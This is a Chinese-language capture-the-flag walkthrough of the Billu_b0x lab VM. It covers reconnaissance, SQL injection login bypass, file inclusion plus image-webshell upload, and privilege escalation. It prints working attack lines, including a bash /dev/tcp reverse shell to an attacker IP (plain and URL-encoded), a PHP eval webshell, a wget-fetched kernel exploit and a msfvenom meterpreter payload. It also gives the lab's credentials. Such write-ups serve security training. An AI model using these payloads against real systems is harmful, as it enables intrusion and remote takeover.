渗透总的思路
靶场:Billu_b0x
-
信息收集(端口、服务、目录、中间件、信息泄露......)
-
WEB打点(SQL注入、文件上传、文件包含、SSRF......),getshell
-
提权
-
内网渗透
-
权限维持
一、信息收集
nmap -A 192.168.10.6
dirsearch -u "http://192.168.10.6/" -e php
逐一访问扫描到到的页面,其中test.php页面:
c.php
提示输入file参数,猜测存在文件包含漏洞,下面进行验证
file 文件包含漏洞利用不了,修改为post型文件包含漏洞,burpsuite验证如下,发现可以直接读取源码:
对扫描出来的文件,逐一进行审计:
c.php
数据库连接账号密码泄露:
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
直接链接phpmyadmin
直接使用账号密码登录web
biLLu hEx_it
二、WEB打点
SQL注入直接登录后台
读取index 源码
其使用replace 过滤掉 \' ,构造payload 万能密码进行绕过:
un = ' or 1=1--+\'
ps = ' or 1=1--+\'
便可以成功登录绕过
文件包含
使用通过phpmyadmin获取的账号密码或者通过注入的获得的账号密码进行登录,panel.php页面,发现存在文件上传。
对源码进行审计,发现存在白名单限制,只能上传图片类型。
但是其存在本地文件包含漏洞:
所以现在getshell的思路有2种:
一、通过上传图片马以及本地包含图片马+使用反弹shell的方法。
copy 1.jpg/b + 2.php/a shell.jpg/y
寻找上传图片后的路径,
直接右键查看图片路径,http://192.168.10.6/uploaded_images/shell.jpg
文件包含此路径,构造payload:
kali开启监听:
nc -lvnp 4444
反弹shell:
echo "bash -i >& /dev/tcp/192.168.10.3/4444 0>&1" | bash
url编码:
%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%2e%33%2f%34%34%34%34%20%30%3e%26%31%22%20%7c%20%62%61%73%68
反弹shell成功:
低权限用户,需要提权。
二、通过上传+包含+echo写入一句话木马getshell的方法。
通过写入一句话木马到文件夹 uploaded_images,使用蚁剑再提权。
echo '<?php eval($_POST['cmd'])?>' >> uploaded_images/shell4.php
注意在linux下需要使用单引号闭合
对payload url编码:
%65%63%68%6f%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3f%3e%27%20%3e%3e%20%75%70%6c%6f%61%64%65%64%5f%69%6d%61%67%65%73%2f%73%68%65%6c%6c%34%2e%70%68%70
getshell成功:
三、提权
信息收集:
cat /etc/issue
uname -a
kali 搜索:
searchsploit linux 3.13
找到源码:
find /usr -name 37292.c
/usr/share/exploitdb/exploits/linux/local/37292.c
拷贝到目标服务器 /root/tmp
kali 开启服务
python3 -m http.server 1081
下载payload以及执行exp:
wget http://192.168.10.3:1081/37292.c
chmod +x 37292.c
gcc 37292.c -o exp
./exp
提权失败。
目标机器安装了php(php --version 可以验证),可以考虑把shell转移到 msf中,然后尝试提权。
msfvenom 生成payload:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.3 -f raw >/root/sh.php
wget下载 /root/sh.php,增加执行权限。
kali开启监听:
use exploit/multi/handler
set lhost 192.168.10.3
set payload php/meterpreter/reverse_tcp
run
访问sh.php,反弹shell到kali
查看权限,root:
完成渗透目标。
另外方法:boot2root 尝试直接读取数据库配置文件
前面都是信息收集,然后找到文件包含漏洞,直接读取默认的配置文件。
config.inc.php
账号密码 root/roottoor
参考链接:
https://blog.csdn.net/qq_45300786/article/details/106572959
https://blog.csdn.net/nini_boom/article/details/102586337
https://blog.csdn.net/qq_42133828/article/details/9104929